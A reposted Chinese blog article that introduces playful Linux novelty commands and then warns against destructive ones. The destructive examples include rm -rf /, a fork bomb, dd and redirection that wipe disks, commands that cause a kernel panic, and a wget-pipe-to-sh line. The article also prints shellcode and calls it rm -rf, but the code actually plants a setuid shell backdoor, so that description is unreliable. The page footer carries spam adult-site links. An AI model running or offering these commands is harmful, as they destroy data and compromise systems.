<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Linux 新手必會的21條命令合集

          共 4401字,需瀏覽 9分鐘

           ·

          2022-02-12 05:37


          Linux初期的學(xué)習(xí)曲線有些陡峭,所以作為一名初學(xué)者,學(xué)會自娛自樂是非常重要的。先來看13個有趣的小命令。


          1.sl 命令


          你會看到一輛火車從屏幕右邊開往左邊。。。。。。


          安裝 ?$ sudo apt-get install sl
          運行 ?$ sl


          命令有 -alFe幾個選項,


          -a An accident seems to happen. You'll feel pity for people who cry for help.
          -l shows little one.
          -F It flies.
          -e Allow interrupt by Ctrl+C.



          可以給別人來個惡作劇,他一敲ls,不知道的肯定很有效果


          $alias ls=sl


          2.fortune ?命令


          輸出一句話,有笑話,名言什么的 (還有唐詩宋詞sudo apt-get install fortune-zh)


          安裝 $sudo apt-get install fortune
          運行 $fortune



          3.cowsay 命令


          用ASCII字符打印牛,羊等動物,還有個cowthink,這個是奶牛想,那個是奶牛說,哈哈,差不多


          安裝 ?$sudo apt-get install cowsay
          運行 ?$cowsay "I am not a cow, hahaha"



          $cowsay -l ?查看其它動物的名字,然后-f跟上動物名,如
          $cowsay -f tux "坑爹啊"



          還可以讓cowsay說出fortune的內(nèi)容,就像這樣:


          $fortune | cowsay



          4.cmatrix 命令


          這個很酷!《黑客帝國》那種矩陣風(fēng)格的動畫效果


          安裝 ? $ sudo apt-get install cmatrix
          運行 ? $cmatrix



          5.figlet 、toilet命令


          藝術(shù)字生成器,由ASCII字符組成,把文本顯示成標(biāo)題欄。此外還有banner這個命令


          安裝 ?$sudo apt-get install figlet
          $sudo apt-get install toilet
          運行 ?$figlet fuck you !
          $toilet i love you



          toilet還可以添加顏色,里面的選項請自己man一下


          $ toilet -f mono12 -F gay a girl



          6.oneko 命令


          桌面上出現(xiàn)一直喵星人,跟著你的鼠標(biāo)跑,你不動了它就睡覺。哈哈,這個挺不錯


          安裝 $sudo apt-get install oneko
          運行 $oneko ? 要關(guān)掉這家伙,按ctrl+c 結(jié)束



          7.xeyes 命令


          在屏幕上出現(xiàn)一雙眼睛,盯著你的鼠標(biāo)指針


          安裝運行同上



          8.yes 命令


          輸出無窮無盡的字符,按ctrl+c結(jié)束,如


          $yes ?我很NB


          9.cal 9 1752


          cal是打印日歷,不過這個是很奇葩的一個月,



          10.shred


          覆蓋搞亂文件,就是文檔粉碎,哈哈,要把你私藏的大片種子和電影銷毀,不被恢復(fù)出來,就靠它了


          11.factor


          分解因數(shù),這個。。。小學(xué)生可以用一下



          12.挨個敲下面這一堆, aptitude沒有的可以安裝上


          aptitude moo
          aptitude -v moo
          aptitude -vv moo
          aptitude -vvv moo
          aptitude -vvvv moo
          aptitude -vvvvv moo
          aptitude -vvvvvv moo
          aptitude -vvvvvvv moo


          13.free the fish


          桌面游過一條魚...


          alt+f2 輸入free the fish


          那么,繼續(xù)!

          14.rm -rf /

          和大多數(shù)?Linux 命令一樣,rm?這個核心命令使用起來非常方便。即便是最頑固的文件它也能幫你刪除。結(jié)合起后面兩個參數(shù)理解?rm?指令時,你很容易陷入大麻煩:-r,強制遞歸刪除所有子目錄,-f,無需確認,強制刪除所有只讀文件。如果你在根目錄運行這條指令,將清除整個驅(qū)動器上的所有數(shù)據(jù)。

          然后,當(dāng)文件化為烏有時其中也包括了公司的視頻。幸運的是,在瘋狂敲擊?control -C?后,在刪除太多文件之前,系統(tǒng)管理員中止了這條命令。但這是對你的警告:任何人都可能犯這樣的錯誤。

          事實上,絕大部分現(xiàn)代操作系統(tǒng)都會在你犯這些錯誤之前,用一段醒目的文字警告你。然而,如果你在連續(xù)敲擊鍵盤時忙碌或是分心,你將會把你的系統(tǒng)鍵入一個黑洞。(LCTT 譯注:幸運的是,可能在根目錄下刪除整個文件系統(tǒng)的人太多了額,后來?rm?默認禁止刪除根目錄,除非——你手動加上?–no-preserve-root?參數(shù)!)

          這里有一些更為隱蔽的方式調(diào)用?rm -rf。思考一下下面的代碼:

          char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
          “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
          “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
          “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
          “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
          “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
          “\x6e\x2f\x73\x68\x00\x2d\x63\x00”
          “cp -p /bin/sh /tmp/.beyond; chmod 4755
          /tmp/.beyond;”;


          這是什么?這是 16 進制的?rm -rf?寫法。在你不明確這段代碼之前,請千萬不要運行這條命令!

          15.fork 炸彈

          既然我們討論的都是些奇怪的代碼,不妨思考一下這一行:

          :(){ :|: & };:


          對你來說,這可能看起來有些神秘,但是我看來,它就是那個臭名昭著的?Bash fork 炸彈。它會反復(fù)啟動新的 Bash shell,直到你的系統(tǒng)資源消耗殆盡、系統(tǒng)崩潰。


          不應(yīng)該在最新的 Linux 系統(tǒng)上做這些操作。注意,我說的是不應(yīng)該。我沒有說不能。正確設(shè)置用戶權(quán)限,Linux 系統(tǒng)能夠阻止這些破壞性行為。通常用戶僅限于分配使用機器可用內(nèi)存。但是如果作為 root 用戶的你運行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反復(fù)虐待服務(wù)器,直到系統(tǒng)重啟了。

          16.垃圾數(shù)據(jù)重寫硬盤

          有時候你想徹底清除硬盤的數(shù)據(jù),你應(yīng)該使用 Darik’s Boot and Nuke (DBAN)?工具去完成這項工作。

          但是如果僅僅想讓你的存儲器亂套,那很簡單:

          任意命令 > /dev/hda


          我說的“任意命令”,是指有輸出的任意命令,比如:


          ls -la > /dev/hda


          ……將目錄列表通過管道送到你的主存儲設(shè)備。給我 root 權(quán)限和足夠的時間,就能覆蓋整個硬盤設(shè)備。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成職業(yè)禁入方式

          17.擦除硬盤!

          另一個一直受歡迎的擦除硬盤的方式是執(zhí)行:

          dd if=/dev/zero of=/dev/hda


          你可以用這條命令寫入數(shù)據(jù)到你的硬盤設(shè)備。dd?命令可以從特殊文件中獲取無盡個?0?字符,并且將它全部寫入你的設(shè)備。

          18./dev/ 的損失

          另一個毀滅你的存儲設(shè)備的方式,運行?mv / /dev/null?或者?>mv /dev/null。

          在前一種情況下,你作為 root 用戶,把整個磁盤數(shù)據(jù)都送進這個如饑似渴的?/dev/null。在后者,你僅僅把家目錄喂給這個空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會再看見你的數(shù)據(jù)了。

          19.格式化錯了驅(qū)動器

          有時候你需要使用這一條命令格式化驅(qū)動器:

          mkfs.ext3 /dev/hda


          ……它會用 ext3 文件系統(tǒng)格式化主硬盤驅(qū)動器。別,請等一下!你正在格式化你的主驅(qū)動器!難道你不需要用它?


          當(dāng)你要格式化驅(qū)動器的時候,請務(wù)必加倍確認你正在格式化的分區(qū)是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、閃存盤還是其他氧化鐵磁盤。

          20.內(nèi)核崩潰

          一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻可以導(dǎo)致內(nèi)核崩潰。這些錯誤通常是由硬件問題引起的,但你也可以自己搞崩。

          當(dāng)你遭遇內(nèi)核崩潰,重新啟動系統(tǒng)你才可以恢復(fù)工作。在一些情況下,這只是有點小煩;在另一些情況下,這是一個大問題,比如說,高負荷運作下的生產(chǎn)環(huán)境。下面有一個案例:

          dd if=/dev/random of=/dev/port
          echo 1 > /proc/sys/kernel/panic
          cat /dev/port
          cat /dev/zero > /dev/mem


          這些都會導(dǎo)致內(nèi)核崩潰。

          絕不要運行你并不了解它功能的命令,它們都在提醒我…

          21.提防未知腳本

          年輕或是懶惰的系統(tǒng)管理員喜歡復(fù)制別人的腳本。何必重新重復(fù)造輪子?所以,他們找到了一個很酷的腳本,承諾會自動檢查所有備份。他們就這樣運行它:

          wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh


          這會下載該腳本,并將它送到 shell 上運行。

          你認為你不會干那樣的事?告訴我,所有那些?你在 Docker 里面運行的容器鏡像在干什么?你知道它們到底在運行著什么嗎?我見過太多的沒有驗證容器里面裝著什么就運行它們的系統(tǒng)管理員。請不要和他們一樣。

          參考資料:

          http://www.cnblogs.com/sukai/archive/2013/06/08/3127031.html

          https://linux.cn/article-9206-1.html

          最后給大家分享我寫的SQL兩件套:《SQL基礎(chǔ)知識第二版》《SQL高級知識第二版》的PDF電子版。里面有各個語法的解釋、大量的實例講解和批注等等,非常通俗易懂,方便大家跟著一起來實操。

          有需要的讀者可以下載學(xué)習(xí),在下面的公眾號「數(shù)據(jù)前線」(非本號)后臺回復(fù)關(guān)鍵字:SQL,就行

          后臺回復(fù)關(guān)鍵字:1024,獲取一份精心整理的技術(shù)干貨
          后臺回復(fù)關(guān)鍵字:進群,帶你進入高手如云的交流群。

          推薦閱讀

          瀏覽 74
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  一道本一区二区 | 国产精品人妻熟女毛片av | 国产精品久久免费视频 | 伊人久久香蕉网 | 成人做爰A片免费看网站找不到了 |